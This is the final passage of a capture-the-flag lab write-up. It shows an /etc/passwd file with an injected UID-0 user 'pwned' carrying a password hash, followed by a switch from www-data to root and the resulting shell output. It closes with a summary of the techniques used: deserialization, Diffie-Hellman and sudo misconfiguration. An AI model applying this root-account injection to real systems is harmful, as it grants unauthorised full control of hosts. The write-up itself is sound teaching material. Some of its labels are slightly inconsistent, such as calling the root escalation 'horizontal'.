uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
grecia:x:1000:1000:StuxnetCTF,,,:/home/grecia:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
pwned:$1$iWXmHZuf$mVNG8abIXyBrLPiCt587V1:0:0::/root:/bin/bash

After saving it, we can Switch User to our newly created user:

www-data@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804
202704977050807800832928198526567069446044422855055$ su pwned 
Password: 
root@ubuntu:/var/www/html/473150289372648955391313281766843507325770399840230051892039938856873289538042027
04977050807800832928198526567069446044422855055# whoami;hostname;id;ip a
root
ubuntu
uid=0(root) gid=0(root) groups=0(root)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:50:8e:17:fc:cb brd ff:ff:ff:ff:ff:ff
    inet 10.10.254.140/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::50:8eff:fe17:fccb/64 scope link 
       valid_lft forever preferred_lft forever

I’m root! :D

Rooted

root.txt:

root@ubuntu:/var/www/html/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055# cat /home/grecia/user.txt 
{Redacted}

Conclusion

What we’ve learned:

  1. Viewing Web Crawling File robots.txt
  2. Calculating Diffie-Hellman’s Secret Message
  3. Exploiting PHP Insecure Deserialization With Gadget Chain
  4. Horizontal Privilege Escalation Via Misconfigurated Sudo & /etc/passwd Permission